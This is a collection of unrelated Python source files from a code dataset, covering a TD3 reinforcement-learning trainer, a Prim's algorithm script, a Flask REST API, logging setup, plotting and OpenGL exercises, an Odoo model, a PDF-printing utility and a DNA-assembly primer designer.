self.nb_action).clip(-noise_clip,noise_clip))\n\n # the article \"PARAMETER SPACE NOISE FOR EXPLORATION\" show that gaussian noise is similar to Ornstein-Uhlenbeck\n print(\"A\")\n # Action is outputed by the Actor with the exploration Noise\n temp_action = self.actor(torch.from_numpy(observation_t[None, ...]).float())\n\n action = (temp_action + self.Noise)\n\n if self.input == 'state':\n action = action.clip(self.lower_bound, self.upper_bound).detach().numpy()\n else:\n action = action.clip(self.lower_bound, self.upper_bound).detach().numpy()[0]\n print(\"B\")\n observation_t1, reward, done, info = self.env.step(action) # The environment perform the action and output the transition values\n observation_t1 = observation_t1\n\n reward_episode.append(reward) # the reward is store for the later sum\n\n self.ReplayBuffer.push((observation_t, action, reward, observation_t1)) #Add to the buffer the new transition\n\n self.MiniBatch = self.ReplayBuffer.sample(self.MiniBatch_size) # Sample Minibatch of N transition from the Buffer\n print(\"C\")\n self.target_function(stddev_Noise_pol,noise_clip) # Compute the target y with the Bellman equation to minimize the loss of the Critic\n print(\"D\")\n #Extract from Minibatch the observation_t and the action. Observation_t is Normalized.\n observation_t_temp = torch.tensor(list( map(itemgetter(0), self.MiniBatch )))#torch.tensor(list(list(zip(*self.MiniBatch))[0]))#torch.tensor([_[0] for _ in self.MiniBatch],dtype=torch.float)\n #observation_t_temp = torch.from_numpy(self.normalize_input([seq[0] for seq in self.MiniBatch])).float()\n print(\"D.1\")\n action_temp = torch.tensor([seq[1] for seq in self.MiniBatch],dtype=torch.float)\n\n #Update the Critic by minimizing the loss.\n self.update_Qs(observation_t_temp, action_temp, self.y)\n print(\"E\")\n if t % module:\n #Update the Actor using the policy gradient\n print(\"F1\")\n self.update_mu(observation_t_temp)\n\n # Clones' weights are slowly updated with the tau value\n print(\"F2\")\n self.update_network_prim()\n\n observation_t = observation_t1\n\n if done:\n print(\"\\nEpisode finished after {} timesteps\".format(t + 1))\n break\n self.env.close()\n #Total reward of one episode\n reward_episode_total = sum(reward_episode)\n print(\"\\nReward episode : \", reward_episode_total)\n self.RewardList.append(reward_episode_total)\n self.RewardListavg.append(np.mean(self.RewardList[-2:]))\n\n year, month, day, hour, min = map(int, time.strftime(\"%Y %m %d %H %M\").split())\n filepath = \"./models/\"+self.env_name+\"_\"+str(year)+\"_\"+str(month)+\"_\"+str(day)+\"_\"+str(hour)+\"_\"+str(min)+\"_Pytorch_TD3/\"\n if not os.path.isdir(filepath):\n os.makedirs(filepath)\n torch.save(self.critic_1.state_dict(), filepath+\"critic_1.pth\")\n torch.save(self.critic_2.state_dict(), filepath + \"critic_2.pth\")\n torch.save(self.actor.state_dict(), filepath + \"actor.pth\")\n torch.save(self.Q_prim_1.state_dict(), filepath + \"Q_prim_1.pth\")\n torch.save(self.Q_prim_2.state_dict(), filepath + \"Q_prim_1.pth\")\n torch.save(self.mu_prim.state_dict(), filepath + \"mu_prim.pth\")\n\n filetext = open(filepath+\"parameters.txt\",\"w+\")\n filetext.write(\"Critic \\n\")\n filetext.write(', '.join(str(e) for e in self.critic_value)+\"\\n\")\n filetext.write(\"Actor \\n\")\n filetext.write(', '.join(str(e) for e in self.actor_value)+\"\\n\")\n filetext.write(\"tau : \" + str(self.tau) + \", minibatch_size : \"+ str(self.MiniBatch_size) + \", discount_gamma : \" + str(self.discount_gamma))\n filetext.write(\"\\nnb episode : \" + str(number_episode)+\", nb timestep : \" + str(number_timestep))\n filetext.close()\n\n print(self.RewardList)\n print(self.RewardListavg)\n #Graphic with each reward of each episode and average\n plt.plot(self.RewardList)\n plt.plot(self.RewardListavg)\n plt.savefig(filepath+\"RewardList_and_Avg.png\")\n plt.show(block=False)\n plt.pause(10)\n\n\n\nif __name__ == '__main__':\n start_time = time.time()\n #envlist=['MountainCarContinuous-v0','LunarLanderContinuous-v2','BipedalWalker-v3','gym_EduCubePlant']\n activationList = [\"relu\",\"elu\"]\n Q_layer = [800,300] #[16, 32,256]\n mu_layer = [800,400] #[256,256]\n\n Ad_alpha_Q = 0.0001#5e-3#1e-3 #1e-3\n Ad_alpha_mu = 0.0001#1e-2#1e-4 #1e-4\n\n tau = 0.001\n MiniBatch_size = 64#64\n discount_gamma = 0.998\n\n input =['pixel', 'state']\n agent1 = TD3Agent(env = \"EduCubePlantEnv\", input = input[0],Q_layer=Q_layer,Ad_alpha_mu=Ad_alpha_mu,Ad_alpha_Q=Ad_alpha_Q, mu_layer=mu_layer, tau=tau, MiniBatch_size=MiniBatch_size,discount_gamma =discount_gamma)\n #(self, env='LunarLanderContinuous-v2', mu_layer=[400, 300], activation=\"relu\", Q_layer=[400, 300],Ad_alpha_mu=1e-4, Ad_alpha_Q=1e-3, l2_weight_decay_Q=1e-2, ReplayBuffer_size=1e6, MiniBatch_size=64,discount_gamma=0.99, tau=0.001)\n agent1.trainAgent(render = True,number_episode=20, number_timestep=100,stddev_Noise_exp=0.2,stddev_Noise_pol=0.2, noise_clip = 0.1)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"trainv1_3_TD3_Pytorch.py","file_name":"trainv1_3_TD3_Pytorch.py","file_ext":"py","file_size_in_byte":20918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"530848457","text":"\r\n\r\nn = int(input(\"Enter no. of nodes: \"))\r\nmat = []\r\nfor i in range(n):\r\n mat+=[list(map(int, input().split()))]\r\n \r\nweight = [99999]*n\r\nvisited = [False]*n\r\nparent = [-1]*n\r\nwei_cpy = [99999]*n\r\n\r\n#let source node = 0 by default\r\nweight[0] = wei_cpy[0] = 0\r\npre_min = -1\r\n\r\nfor i in range(n):\r\n min_ind = wei_cpy.index(min(wei_cpy))\r\n visited[min_ind] = True\r\n flg = 1\r\n for j in range(n):\r\n if mat[min_ind][j]!=0 and visited[j]!=True and mat[min_ind][j]\", i, \"weight = \", mat[parent[i]][i])\r\n\r\nprint(\"Minimum Spanning Tree cost :\" , sum(weight))\r\n# 0 4 6 0 0 0\r\n# 4 0 6 3 4 0\r\n# 6 6 0 1 8 0\r\n# 0 3 1 0 2 3\r\n# 0 4 8 2 0 7\r\n# 0 0 0 3 7 0 \r\n","sub_path":"prims_sahitya.py","file_name":"prims_sahitya.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"228654211","text":"'''\nCreated on Jan 16, 2017\n\n@author: Asgard Team\n'''\n\nfrom flask import Blueprint, render_template\nfrom flask import request\nimport copy\nimport io\nfrom epepin_api import utils\nfrom epepin_api.codes import codes\nfrom epepin_api.codes.messages import *\nfrom epepin_api.database import database\nimport bson\nfrom epepin_api.exceptions.epepin_exceptions import *\n\n\napiv1 = Blueprint('apiv1', __name__, template_folder=\"../templates\")\n\n\ndef database_connection():\n cfg = utils.get_config()\n db = database.Database(cfg.epepin_db_endpoint, cfg.epepin_db_port)\n return db\n\n@apiv1.route('/')\ndef showIndex():\n return render_template('list.html')\n\n\n@apiv1.route('/requirement', methods=['GET'])\ndef get_requirements():\n status_code = CODE_GET_OK\n message = MSG_GET_OK\n requirements = None\n try:\n db = database_connection()\n connection = db.connection()\n requirements = db.get_requirements(connection)\n except EpepinException as ex:\n status_code = ex.get_status_code()\n message = ex.get_error_message()\n return Response.json_data(status_code, message, requirements, None)\n\n\n@apiv1.route('/requirement/', methods=['GET'])\ndef get_requirement(requirement_id):\n status_code = CODE_GET_OK\n message = MSG_GET_OK\n requirement = None\n try:\n db = database_connection()\n connection = db.connection()\n requirement = db.get_requirement(connection, requirement_id)\n except EpepinException as ex:\n status_code = ex.get_status_code()\n message = ex.get_error_message()\n return Response.json_data(status_code, message, requirement, requirement_id)\n\n\n@apiv1.route('/requirement', methods=['POST'])\ndef create_requirement():\n status_code = CODE_POST_OK\n message = MSG_POST_OK\n requirement = None\n try:\n data = request.get_json()\n input_data = copy.deepcopy(data)\n db = database_connection()\n connection = db.connection()\n requirement = db.insert_requirement(connection, data)\n except EpepinException as ex:\n status_code = ex.get_status_code()\n message = ex.get_error_message()\n return Response.json_data(status_code, message, input_data, requirement)\n\n\n\n@apiv1.route('/requirement/', methods=['PUT'])\ndef update_requirement(requirement_id):\n status_code = CODE_PUT_OK\n message = MSG_PUT_OK\n try:\n data = request.get_json()\n input_data = copy.deepcopy(data)\n db = database_connection()\n connection = db.connection()\n db.update_requirement(connection, requirement_id, data)\n except EpepinException as ex:\n status_code = ex.get_status_code()\n message = ex.get_error_message()\n return Response.json_data(status_code, message, input_data, requirement_id)\n\n\n@apiv1.route('/requirement/', methods=['DELETE'])\ndef delete_requirement(requirement_id):\n status_code = CODE_DELETE_OK\n message = MSG_DELETE_OK\n try:\n db = database_connection()\n connection = db.connection()\n db.delete_requirement(connection, requirement_id)\n except EpepinException as ex:\n status_code = ex.get_status_code()\n message = ex.get_error_message()\n return Response.json_data(status_code, message, None, requirement_id)\n\n@apiv1.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE')\n return response","sub_path":"epepin_api/v1/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"31862643","text":"import logging.config\r\n\r\nfrom flask import Flask\r\n\r\n\r\nclass _InfoFilter(logging.Filter):\r\n\r\n def filter(self, record):\r\n return record.levelno < logging.WARNING\r\n\r\n\r\ndef setup_logging(app: Flask):\r\n logging.config.dictConfig({\r\n 'version': 1,\r\n 'disable_existing_loggers': False,\r\n 'filters': {\r\n 'info_filter': {\r\n '()': _InfoFilter\r\n }\r\n },\r\n 'formatters': {\r\n 'default': {\r\n 'format': app.config.get('LOG_FORMAT'),\r\n 'datefmt': app.config.get('LOG_DATEFMT')\r\n }\r\n },\r\n 'handlers': {\r\n 'console_stdout': {\r\n 'level': app.config.get('LOG_LEVEL'),\r\n 'class': 'logging.StreamHandler',\r\n 'formatter': 'default',\r\n 'stream': 'ext://sys.stdout',\r\n 'filters': ['info_filter'],\r\n },\r\n 'console_stderr': {\r\n 'level': logging.WARNING,\r\n 'class': 'logging.StreamHandler',\r\n 'formatter': 'default',\r\n }\r\n },\r\n 'loggers': {\r\n '': {\r\n 'level': app.config.get('LOG_LEVEL'),\r\n 'handlers': ['console_stdout', 'console_stderr'],\r\n },\r\n },\r\n })\r\n","sub_path":"lab_7/service_api/services/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"585075688","text":"alllist = []\ns_list = [] # 一文を構成する形態素のマップを要素にもつリスト\n\nfrom collections import defaultdict\nfrom collections import Counter\n\nwordscounter = defaultdict(lambda:0)\na = Counter()\n\nwith open('neko.txt.mecab') as f:\n for line in f:\n if line == 'EOS\\n':\n if len(s_list) > 0:\n alllist.append(s_list.copy())\n s_list.clear()\n continue\n d = {k: v for k, v in [f.split(\":\") for f in line.rstrip(\"\\n\").split(\",\")]} # 一文を構成する各形態素のマップ\n s_list.append(d)\n wordscounter[d['base']] += 1\n# Solution for prob.38\nhistdict = defaultdict(lambda :0)\n#key: 単語出現頻度、value: 単語種類数\nfor k, v in sorted(dict(wordscounter).items(), key=lambda x: x[1], reverse=True):\n histdict[v] += 1\n\n#Solution for prob. 38\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nmpl.rcParams['font.family'] = 'IPAexGothic'\n\nx = range(len(dict(histdict)))\ny = list(histdict.values())\nxlabel = list(histdict.keys())\nplt.xticks(x, xlabel)\nplt.title('knock38')\nplt.xlabel('出現頻度')\nplt.ylabel('単語の種類数')\nplt.bar(x,y, align='center', width=0.5)\nplt.savefig('fig38.png')\nplt.show()\n","sub_path":"take/chapter04/knock38.py","file_name":"knock38.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"508376773","text":"import glfw\nimport numpy as np\nfrom OpenGL.GL import *\n\ndef render(th):\n glClear(GL_COLOR_BUFFER_BIT)\n glLoadIdentity()\n \n # draw cooridnate\n glBegin(GL_LINES)\n glColor3ub(255,0,0)\n glVertex2fv(np.array([0.,0.]))\n glVertex2fv(np.array([1.,0.]))\n glColor3ub(0,255,0)\n glVertex2fv(np.array([0.,0.]))\n glVertex2fv(np.array([0.,1.]))\n glEnd()\n glColor3ub(255,255,255)\n \n # calculate matrix M1, M2 using th \n \n R = np.identity(3)\n R[:2,:2] = [[np.cos(-th), -np.sin(-th)],\n [np.sin(-th), np.cos(-th)]]\n T1 = np.identity(3)\n T1[:2,2] = [0., 5]\n T2 = np.identity(3)\n T2[:2,2] = [5, 0.]\n M1 = R @ T1\n M2 = R @ T2\n glBegin(GL_POINTS)\n glVertex2fv((M1 @ np.array([0.,.5, .1]))[:-1])\n glVertex2fv((M2 @ np.array([.5,0., .1]))[:-1])\n \n glEnd()\n \n glBegin(GL_LINES)\n glVertex2fv(np.array([0.,0.]))\n glVertex2fv((M1 @ np.array([.5, .0, 0.]))[:-1])\n glVertex2fv(np.array([0.,0.]))\n glVertex2fv((M2 @ np.array([0, 0.5, 0.]))[:-1])\n\n glEnd()\n\n\n\ndef main():\n if not glfw.init():\n return\n window = glfw.create_window(480,480, '2018023390', None,None)\n if not window:\n glfw.terminate()\n return\n glfw.make_context_current(window)\n\n while not glfw.window_should_close(window):\n glfw.poll_events()\n th = glfw.get_time()\n render(th)\n glfw.swap_buffers(window)\n\n glfw.terminate()\n\nif __name__ == \"__main__\":\n main()","sub_path":"LabAssignment4/2/labassignment_4_2.py","file_name":"labassignment_4_2.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"169935484","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# sale_quick_payment for OpenERP\n# Copyright (C) 2011 Akretion Sébastien BEAU \n# Copyright 2013 Camptocamp SA (Guewen Baconnier)\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\nfrom odoo import models, fields\n\n\nclass PaymentMethod(models.Model):\n _name = \"payment.method2\"\n _description = \"Payment Method\"\n\n# @api.model\n# @api.returns('res.company')\n# def _default_company_id(self):\n# company_model = self.env['res.company']\n# return company_model.browse(\n# company_model._company_default_get('payment.method2'))\n\n name = fields.Char(required=True,\n help=\"The name of the method on the backend\", translate=True)\n\n journal_id = fields.Many2one(\n comodel_name='account.journal',\n string='Journal',\n help=\"If a journal is selected, when a payment is recorded \"\n \"on a backend, payment entries will be created in this \"\n \"journal.\",required=True\n )\n payment_term_id = fields.Many2one(\n comodel_name='account.payment.term',\n string='Payment Term',\n help=\"Default payment term of a sale order using this method.\",required=True\n )\n save=fields.Boolean(\"Save\")\n","sub_path":"sale_payment_method/payment_method.py","file_name":"payment_method.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"65903264","text":"#Comment\nWRITE= 'w'\nREAD= 'r'\nAPPEND = 'a'\nREADWRITE = 'w+'\nscript=\"\"\ndef insert(text,document):\n\twith open(document,mode=APPEND) as infile:\n\t\tinfile.write('\\n'+text)\ninsert(script,'index.html')\n","sub_path":"Cars/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"204834083","text":"'''\nAssemblyGenie (c) University of Manchester 2018\n\nAll rights reserved.\n\n@author: neilswainston\n'''\n# pylint: disable=too-many-arguments\n# pylint: disable=too-many-instance-attributes\n# pylint: disable=wrong-import-order\nfrom collections import defaultdict\nfrom operator import itemgetter\nimport os\nimport sys\n\nfrom Bio.Seq import Seq\nfrom synbiochem.utils import dna_utils, ice_utils, seq_utils\n\nfrom assembly.app.lcr3 import overhang\nimport pandas as pd\n\n\n_H_PRIMER = 'ATAGTTCCCTTCACGATAGCCG'\n_L_PRIMER = 'TGCTGGATACGACGCTCTACTC'\n\n_HBB_PRIMER_FORW = 'GGATCCAAACTCGAGTAAGG'\n_HBB_PRIMER_REV = 'CTTCTTAAAAGATCTTTTGAATTC'\n_LBB_PRIMER_FORW = 'GGATCCAAACTCGAGTAAGG'\n_LBB_PRIMER_REV = 'CTTCTTAAAAGATCTTTTGAATTC'\n\n\nclass Lcr3Designer():\n '''Class to design LCR v3 assemblies.'''\n\n def __init__(self, filename, ice_params, primer_melt_temp=60.0,\n lcr_melt_temp=70.0, restr_enz=None):\n self.__filename = filename\n self.__primer_melt_temp = primer_melt_temp\n self.__lcr_melt_temp = lcr_melt_temp\n\n self.__restr_enz = ['MlyI'] if restr_enz is None else restr_enz\n\n self.__seqs = {}\n\n self.__ice_client_fact = ice_utils.ICEClientFactory()\n self.__ice_client = \\\n self.__ice_client_fact.get_ice_client(ice_params['url'],\n ice_params['username'],\n ice_params['password'])\n\n self.__primers = defaultdict(dict)\n self.__primers[True]['Hbb'] = _HBB_PRIMER_FORW\n self.__primers[True]['Lbb'] = _LBB_PRIMER_FORW\n self.__primers[False]['Hbb'] = _HBB_PRIMER_REV\n self.__primers[False]['Lbb'] = _LBB_PRIMER_REV\n\n self.__domino_parts = defaultdict(dict)\n\n for forw in [True, False]:\n self.__domino_parts[forw]['Hbb'] = \\\n self.__get_subseq('SBC010499', lcr_melt_temp, forw, False)\n self.__domino_parts[forw]['Lbb'] = \\\n self.__get_subseq('SBC010500', lcr_melt_temp, forw, False)\n\n self.__overhangs = overhang.get_seqs()\n self.__overhang_idx = 0\n\n self.__part_overhang = {}\n\n self.__design_parts = self.__get_design_parts()\n self.__part_primers = self.__get_part_primers()\n self.__pair_dominoes = self.__get_pair_dominoes()\n\n def close(self):\n '''Close.'''\n self.__ice_client_fact.close()\n\n def get_design_parts(self):\n '''Get design parts.'''\n return self.__design_parts\n\n def get_part_primers(self):\n '''Get part primers.'''\n return self.__part_primers\n\n def get_pair_dominoes(self):\n '''Get pair dominoes.'''\n return self.__pair_dominoes\n\n def to_csv(self, out_dir):\n '''Write data to csv.'''\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n\n design_parts_df = pd.DataFrame(self.get_design_parts().items(),\n columns=['design', 'parts'])\n\n design_parts_df.to_csv(os.path.join(out_dir, 'design_parts.csv'),\n index=False)\n\n part_primers_df = \\\n pd.DataFrame({_get_primer(part, idx, prmr)\n for part, prmrs in self.get_part_primers().items()\n for idx, prmr in enumerate(prmrs)},\n columns=['Name', 'Primer'])\n\n part_primers_df.to_csv(os.path.join(out_dir, 'part_primers.csv'),\n index=False)\n\n pair_dominoes_df = \\\n pd.DataFrame(sorted(list(\n {(_get_domino_id(*pair), dmn)\n for pair, dmn in self.get_pair_dominoes().items()})),\n columns=['id', 'domino'])\n\n pair_dominoes_df.to_csv(os.path.join(out_dir, 'pair_dominoes.csv'),\n index=False)\n\n def __get_design_parts(self):\n '''Get design parts.'''\n design_parts = defaultdict(list)\n\n with open(self.__filename) as fle:\n designs = [tuple(line.strip().split(',')) for line in fle]\n\n for design in designs:\n design_parts[design].append(design[0] + 'bb')\n\n for idx, _id in enumerate(design):\n if _id not in ['H', 'L', '']:\n environment = design[idx - 1:idx + 2]\n\n part = ('H' if idx > 1 and\n environment[0] == 'H' else '',\n environment[1],\n 'L' if len(environment) > 2 and\n environment[2] == 'L' else '')\n\n design_parts[design].append(part)\n\n return design_parts\n\n def __get_part_primers(self):\n '''Get part primers.'''\n parts = sorted(list({part for parts in self.__design_parts.values()\n for part in parts}), key=itemgetter(1, 0, 2))\n\n return {part: self.__get_primers_for_part(part) for part in parts}\n\n def __get_pair_dominoes(self):\n '''Get dominoes.'''\n pair_dominoes = {}\n\n for design_part in self.__design_parts.values():\n for idx, part in enumerate(design_part[:-1]):\n pair = (part, design_part[idx + 1])\n\n if pair not in pair_dominoes:\n domino = self.__get_domino(pair)\n pair_dominoes[pair] = domino\n\n return pair_dominoes\n\n def __get_primers_for_part(self, part):\n '''Get primers.'''\n return (self.__get_primer(part, True),\n self.__get_primer(part, False))\n\n def __get_primer(self, part, forward):\n '''Get primer from ICE id.'''\n primer = None\n\n if part not in self.__primers[forward]:\n if forward and part[0] == 'H':\n return self.__get_part_overhang(part[:2]) + _H_PRIMER\n if not forward and part[2] == 'L':\n return self.__get_part_overhang(part[1:]) + _L_PRIMER\n\n # else:\n primer = \\\n self.__get_subseq(part[1], self.__primer_melt_temp,\n forward, True, self.__restr_enz)\n\n self.__primers[forward][part] = primer\n\n return self.__primers[forward][part]\n\n def __get_subseq(self, part_id, mlt_temp, forward, primer, restr_enz=None):\n '''Get subsequence by melting temperature.'''\n seq = self.__get_seq(part_id)\n\n if restr_enz:\n dna = dna_utils.DNA(seq=seq, name=part_id, desc=part_id)\n restrict_dnas = dna_utils.apply_restricts(dna, restr_enz)\n\n # This is a bit fudgy...\n # Essentially, return the longest fragment remaining after\n # digestion.\n # Assumes prefix and suffix are short sequences that are cleaved\n # off.\n restrict_dnas.sort(key=lambda x: len(x['seq']), reverse=True)\n seq = restrict_dnas[0]['seq']\n\n reagent_concs = {seq_utils.MG: 0.0} if primer else None\n\n subseq = seq_utils.get_seq_by_melt_temp(seq, mlt_temp,\n forward=forward,\n reagent_concs=reagent_concs)[0]\n\n if primer and not forward:\n return str(Seq(subseq).reverse_complement())\n\n return subseq\n\n def __get_seq(self, ice_id):\n '''Get seq.'''\n if ice_id not in self.__seqs:\n self.__seqs[ice_id] = \\\n self.__ice_client.get_ice_entry(ice_id).get_seq()\n\n return self.__seqs[ice_id]\n\n def __get_part_overhang(self, part):\n '''Get part overhang.'''\n if part not in self.__part_overhang:\n self.__part_overhang[part] = self.__get_next_overhang()\n\n return self.__part_overhang[part]\n\n def __get_next_overhang(self):\n '''Get next overhang.'''\n ovrhng = self.__overhangs[self.__overhang_idx]\n self.__overhang_idx += 1\n return ovrhng.lower()\n\n def __get_domino(self, pair):\n '''Get domino.'''\n part1 = self.__get_domino_part(pair[0], True)\n part2 = self.__get_domino_part(pair[1], False)\n\n return part1 + part2\n\n def __get_domino_part(self, part, left):\n '''Get domino part from ICE id.'''\n primer = None\n\n if part not in self.__domino_parts[left]:\n if not left and part[0] == 'H':\n return self.__get_part_overhang(part[:2])\n if left and part[2] == 'L':\n return self.__get_part_overhang(part[1:])\n\n # else:\n primer = \\\n self.__get_subseq(part[1], self.__lcr_melt_temp,\n not left, False, self.__restr_enz)\n\n self.__domino_parts[left][part] = primer\n\n return self.__domino_parts[left][part]\n\n\ndef _get_primer(part, reverse, prmr):\n '''Get primer.'''\n return (_get_part_id(part, not reverse) + ('-R' if reverse else '-F'),\n '/5Phos/' + prmr)\n\n\ndef _get_domino_id(left_part, right_part):\n '''Get domino id.'''\n return '_'.join([_get_part_id(left_part, False),\n _get_part_id(right_part, True)])\n\n\ndef _get_part_id(part, start):\n '''Return part id.'''\n if isinstance(part, str):\n return part\n\n if start:\n return ''.join(part[:2])\n\n return ''.join(part[1:])\n\n\ndef main(args):\n '''main method.'''\n designer = Lcr3Designer(args[0],\n {'url': args[1],\n 'username': args[2],\n 'password': args[3]})\n\n designer.to_csv(args[4])\n\n design_parts = designer.get_design_parts()\n part_primers = designer.get_part_primers()\n pair_dominoes = designer.get_pair_dominoes()\n designer.close()\n\n with open(args[5], 'w') as fle:\n fle.write('Designs and parts\\n')\n\n for design, prts in design_parts.items():\n fle.write('%s\\t%s\\n' % (design, prts))\n\n fle.write('\\nParts and primers\\n')\n\n for part, primers in part_primers.items():\n fle.write('%s\\t%s\\n' % (part, primers))\n\n fle.write('\\nPart pairs and dominoes\\n')\n\n for pair, domino in pair_dominoes.items():\n fle.write('%s\\t%s\\n' % (pair, domino))\n\n fle.write('\\nDominoes\\n')\n\n for domino in sorted(list(set(pair_dominoes.values()))):\n fle.write('%s\\n' % domino)\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","sub_path":"assembly/app/lcr3/lcr3_pipeline.py","file_name":"lcr3_pipeline.py","file_ext":"py","file_size_in_byte":10460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"242965643","text":"# import numpy as np\r\n# import math\r\n# import matplotlib\r\n# import matplotlib.pyplot as plt\r\n# from PIL import Image as IMG\r\n# from Chapter02.chap_03 import get_histogram\r\n# import cv2 as cv\r\n# from functools import reduce\r\n# from collections import Counter\r\n# # matplotlib.use('Agg')\r\n# np.random.seed(5)\r\n#\r\n# img = IMG.open(r\"C:\\Users\\qhzhuang\\Desktop\\2.jpg\")\r\n# img = np.asarray(img, dtype=np.uint8)\r\n# img = img[:, :, 0]\r\n#\r\n# zero = np.zeros((3, 5), dtype=np.int32)\r\n#\r\n# def fn(i, c):\r\n# return i + c\r\n#\r\n# new_zero = map(fn, zero)\r\n#\r\n# print(np.array(list(new_zero)))\r\nimport cv2 as cv\r\nimport numpy as np\r\nimg = cv.imread(r\"C:\\Users\\qhzhuang\\Desktop\\8.jpg\")\r\n\r\ncv.imshow('srcImage', img)\r\ncv.imshow('grayImage', grayimg)\r\ncv.imshow(\"Laplacian\",grayimg+shp[1:shp.shape[0]-1,1:shp.shape[1]-1])\r\ncv.waitKey(0)\r\ncv.destroyAllWindow()","sub_path":"testground.py","file_name":"testground.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"478224188","text":"# -*- coding: iso-8859-1 -*-\r\n## Copyright 2009 Luc Saffre\r\n## This file is part of the TimTools project.\r\n## TimTools is free software; you can redistribute it and/or modify\r\n## it under the terms of the GNU General Public License as published by\r\n## the Free Software Foundation; either version 3 of the License, or\r\n## (at your option) any later version.\r\n## TimTools is distributed in the hope that it will be useful, \r\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \r\n## GNU General Public License for more details.\r\n## You should have received a copy of the GNU General Public License\r\n## along with TimTools; if not, see .\r\n\r\nimport sys, os\r\nimport win32api\r\n\r\nfrom timtools.textprinter import winprn\r\nfrom timtools.console.application import Application, UsageError\r\n\r\nclass PdfPrint(Application):\r\n \r\n name=\"pdfprint\"\r\n copyright=\"\"\"\\\r\nCopyright (c) 2009 Luc Saffre.\r\nThis software comes with ABSOLUTELY NO WARRANTY and is\r\ndistributed under the terms of the GNU General Public License.\r\nSee file COPYING.txt for more information.\"\"\"\r\n url=\"http://timtools.saffre-rumma.ee/pdfprint.html\"\r\n \r\n usage=\"usage: timtools pdfprint [options] FILE [FILE ...]\"\r\n description=\"\"\"\r\n\r\nwhere FILE is a PDF file to be printed directly on your Windows\r\nPrinter.\r\n\r\nThanks to Thomas Blatter who posted the method:\r\nhttp://two.pairlist.net/pipermail/reportlab-users/2005-May/003936.html\r\n\r\n\"\"\" \r\n configfile=\"pdfprint.ini\" \r\n \r\n \r\n def setupOptionParser(self,parser):\r\n Application.setupOptionParser(self,parser)\r\n \r\n parser.add_option(\"-p\", \"--printer\",\r\n help=\"\"\"\\\r\nprint on PRINTERNAME rather than on Default Printer.\"\"\",\r\n action=\"store\",\r\n type=\"string\",\r\n dest=\"printerName\",\r\n default=None)\r\n \r\n parser.add_option(\"-c\", \"--copies\",\r\n help=\"\"\"\\\r\nprint NUM copies.\"\"\",\r\n action=\"store\",\r\n type=\"int\",\r\n dest=\"copies\",\r\n default=1)\r\n \r\n \r\n def run(self):\r\n if len(self.args) == 0:\r\n raise UsageError(\"no arguments specified\")\r\n if self.options.printerName is not None:\r\n raise UsageError(\"Sorry, pdfprint currently can print only to the standard printer\")\r\n if self.options.copies < 0:\r\n raise UsageError(\"wrong value for --copies\")\r\n \r\n \r\n for inputfile in self.args:\r\n for cp in range(self.options.copies):\r\n win32api.ShellExecute(0,\"print\",inputfile,None,\".\",0)\r\n name=self.options.printerName\r\n if name is None:\r\n name=\"Standard Printer\"\r\n self.notice(\"%s has been printed on %s\",\r\n inputfile,name)\r\n\r\n\r\ndef main(*args,**kw):\r\n PdfPrint().main(*args,**kw)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"timtools/scripts/pdfprint.py","file_name":"pdfprint.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"345965030","text":"#!/usr/bin/env python\n\n###########################################\n### Imports #############################\n###########################################\n\nfrom __future__ import print_function\n\nimport os\nos.environ[\"TMPDIR\"] = \"/tmp\"\nimport emcee\nimport numpy as np\nimport scipy.stats\nimport scipy.optimize as op\nfrom scipy.interpolate import interp1d\nimport pandas as pd\nimport os.path as opa\nimport time\nfrom scipy import stats\n\n###########################################\n### Globals ##############################\n###########################################\n\n# PATH GLOBALS & tests to check they are as expected\n\n# Save this path (expect data and other needed executables present in relative paths!!!)\nTHIS_PATH = opa.dirname(__file__)\n\n# Import local packages (to be saved in same folder)\nimport APpowerspectraNkmu\nimport WindowFFTlog\n\n# Data paths\nINPATH = opa.abspath(opa.join(THIS_PATH,'input')) \nOUTPATH = opa.abspath(opa.join(THIS_PATH,'output')) 